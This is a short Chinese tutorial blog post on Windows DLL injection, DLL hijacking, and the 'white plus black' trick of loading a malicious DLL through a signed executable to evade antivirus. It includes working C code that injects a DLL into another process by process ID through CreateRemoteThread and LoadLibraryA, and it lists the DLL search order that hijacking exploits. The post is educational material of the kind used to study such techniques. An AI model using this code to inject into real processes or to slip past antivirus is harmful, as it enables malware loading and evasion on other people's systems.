DLL注入&&DLL劫持&&白加黑

共 1465字,需浏览 3分钟

 ·

2022-01-04 02:36

DLL?

.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。

白话:说白了就像是一个封装好的类库,里面提供许多的函数供调用。



DLL注入

就是在指定的进程中注入我们的恶意DLL。

常规手法:

编写恶意DLL => 创建远程线程 => 把线程函数设置为loadlibrary => 参数为恶意DLL。

案例

#include
void Inject(int pID, char* Path) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID); LPVOID pRetrunAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRetrunAddress, Path, strlen(Path) + 1, NULL); HMODULE hModule = LoadLibraryA("KERNEL32.DLL"); LPTHREAD_START_ROUTINE ipStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, ipStartAddress, pRetrunAddress, 0, NULL); WaitForSingleObject(hThread, 2000); CloseHandle(hThread); CloseHandle(hProcess);}
int main() { // 注入的DLL路径,注意\使用\\表示 const char* path = "E:\\CPPStudy\\DllStudy\\Debug\\DllStudy.dll"; // 参数1:目标进程ID,参数2:注入的DLL路径 Inject(17732, (char*)path); return 0;}

341068c3ff41aaa743f5fe92be2375b3.webp

1bf381b432ddc7124f17b0e80d560085.webp

通常如果我们不做清理工作的话注入的DLL会直至程序关闭才失效。

当然我们也可以手动卸载,方法差不多,如果是强制卸载的话略微有点麻烦。




DLL劫持

DLL劫持主要产生在DLL加载。说白了就是通过类似火绒剑的工具查看程序运行过程中加载的DLL,然后我们构造恶意DLL进行替换。

DLL加载顺序

程序所在目录。加载 DLL 时所在的当前目录。系统目录即 SYSTEM32 目录。16位系统目录即 SYSTEM 目录。Windows目录。PATH环境变量中列出的目录

案例

原本程序

0ce5886e3da8c688300fc570d0bbc498.webp

恶意DLL

4cabc10e0efe7d12e1596f64fccdbf21.webp

27a151d9e671555e7eeab3dcc74de74c.webp




白加黑

所谓的”白加黑”,笼统来说是”白exe”加”黑dll”,”白exe”是指带有数字签名的正常exe文件,那么”黑dll”当然是指包含恶意代码 的dll文件。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码的dll,便能获得杀毒软件主动防御的自动信任,从而成功 加载到系统中。(PS:网上偷的)

白加黑暂时没有演示案例。。。。。



结语

如有错误之处,还请多多包涵,当然,欢迎指正。


浏览 176
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报